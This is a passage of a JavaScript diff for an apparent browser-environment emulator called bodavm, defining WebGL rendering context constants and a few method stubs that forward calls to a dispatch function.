value: 5126 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", { + configurable: false, + enumerable: true, + writable: false, + value: 6402 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6406 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 6407 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", { + configurable: false, + enumerable: true, + writable: false, + value: 6408 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", { + configurable: false, + enumerable: true, + writable: false, + value: 6409 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6410 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", { + configurable: false, + enumerable: true, + writable: false, + value: 32819 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", { + configurable: false, + enumerable: true, + writable: false, + value: 32820 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", { + configurable: false, + enumerable: true, + writable: false, + value: 33635 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35632 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35633 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 34921 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36347 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36348 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35661 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35660 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 34930 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36349 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35663 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35712 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35714 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35715 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35717 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35718 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", { + configurable: false, + enumerable: true, + writable: false, + value: 35721 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 35724 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", { + configurable: false, + enumerable: true, + writable: false, + value: 35725 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", { + configurable: false, + enumerable: true, + writable: false, + value: 513 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 514 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 515 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", { + configurable: false, + enumerable: true, + writable: false, + value: 516 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 517 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 518 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", { + configurable: false, + enumerable: true, + writable: false, + value: 519 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", { + configurable: false, + enumerable: true, + writable: false, + value: 7680 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", { + configurable: false, + enumerable: true, + writable: false, + value: 7681 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", { + configurable: false, + enumerable: true, + writable: false, + value: 7682 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", { + configurable: false, + enumerable: true, + writable: false, + value: 7683 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 5386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34056 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", { + configurable: false, + enumerable: true, + writable: false, + value: 7936 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", { + configurable: false, + enumerable: true, + writable: false, + value: 7937 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 7938 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9728 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9729 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9984 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9985 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9986 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9987 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10240 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10241 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", { + configurable: false, + enumerable: true, + writable: false, + value: 10242 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", { + configurable: false, + enumerable: true, + writable: false, + value: 10243 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 5890 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34067 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34068 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34069 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34070 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34072 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34073 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34074 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34076 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", { + configurable: false, + enumerable: true, + writable: false, + value: 33984 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", { + configurable: false, + enumerable: true, + writable: false, + value: 33985 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", { + configurable: false, + enumerable: true, + writable: false, + value: 33986 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", { + configurable: false, + enumerable: true, + writable: false, + value: 33987 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", { + configurable: false, + enumerable: true, + writable: false, + value: 33988 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", { + configurable: false, + enumerable: true, + writable: false, + value: 33989 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", { + configurable: false, + enumerable: true, + writable: false, + value: 33990 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", { + configurable: false, + enumerable: true, + writable: false, + value: 33991 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", { + configurable: false, + enumerable: true, + writable: false, + value: 33992 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", { + configurable: false, + enumerable: true, + writable: false, + value: 33993 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", { + configurable: false, + enumerable: true, + writable: false, + value: 33994 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", { + configurable: false, + enumerable: true, + writable: false, + value: 33995 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", { + configurable: false, + enumerable: true, + writable: false, + value: 33996 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", { + configurable: false, + enumerable: true, + writable: false, + value: 33997 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", { + configurable: false, + enumerable: true, + writable: false, + value: 33998 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", { + configurable: false, + enumerable: true, + writable: false, + value: 33999 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", { + configurable: false, + enumerable: true, + writable: false, + value: 34000 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", { + configurable: false, + enumerable: true, + writable: false, + value: 34001 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", { + configurable: false, + enumerable: true, + writable: false, + value: 34002 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", { + configurable: false, + enumerable: true, + writable: false, + value: 34003 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", { + configurable: false, + enumerable: true, + writable: false, + value: 34004 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", { + configurable: false, + enumerable: true, + writable: false, + value: 34005 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", { + configurable: false, + enumerable: true, + writable: false, + value: 34006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", { + configurable: false, + enumerable: true, + writable: false, + value: 34007 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", { + configurable: false, + enumerable: true, + writable: false, + value: 34008 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", { + configurable: false, + enumerable: true, + writable: false, + value: 34009 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", { + configurable: false, + enumerable: true, + writable: false, + value: 34010 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", { + configurable: false, + enumerable: true, + writable: false, + value: 34011 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", { + configurable: false, + enumerable: true, + writable: false, + value: 34012 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", { + configurable: false, + enumerable: true, + writable: false, + value: 34013 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", { + configurable: false, + enumerable: true, + writable: false, + value: 34014 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", { + configurable: false, + enumerable: true, + writable: false, + value: 34015 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34016 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 10497 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 33648 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35664 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35665 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35666 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35667 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35668 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35669 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", { + configurable: false, + enumerable: true, + writable: false, + value: 35670 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35671 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35672 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35673 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", { + configurable: false, + enumerable: true, + writable: false, + value: 35674 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", { + configurable: false, + enumerable: true, + writable: false, + value: 35675 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", { + configurable: false, + enumerable: true, + writable: false, + value: 35676 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 35678 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 35680 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", { + configurable: false, + enumerable: true, + writable: false, + value: 34338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 34340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 34341 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 34922 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", { + configurable: false, + enumerable: true, + writable: false, + value: 34373 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34975 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35738 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 35739 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35713 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36336 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36337 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36341 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36160 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36161 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", { + configurable: false, + enumerable: true, + writable: false, + value: 32854 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", { + configurable: false, + enumerable: true, + writable: false, + value: 32855 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", { + configurable: false, + enumerable: true, + writable: false, + value: 36194 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", { + configurable: false, + enumerable: true, + writable: false, + value: 33189 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", { + configurable: false, + enumerable: true, + writable: false, + value: 36168 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34041 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 36162 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 36163 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36164 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36176 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36177 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36178 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36179 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36180 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36181 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 36048 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", { + configurable: false, + enumerable: true, + writable: false, + value: 36049 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 36050 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 36051 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", { + configurable: false, + enumerable: true, + writable: false, + value: 36064 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36096 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36128 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 33306 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 36053 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36054 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", { + configurable: false, + enumerable: true, + writable: false, + value: 36057 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 36061 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36007 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1286 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37440 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37441 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37442 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37443 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37444 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "activeTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function activeTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "activeTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "attachShader", { + configurable: true, + enumerable: true, + writable: true, + value: function attachShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "attachShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindAttribLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function bindAttribLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindAttribLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: 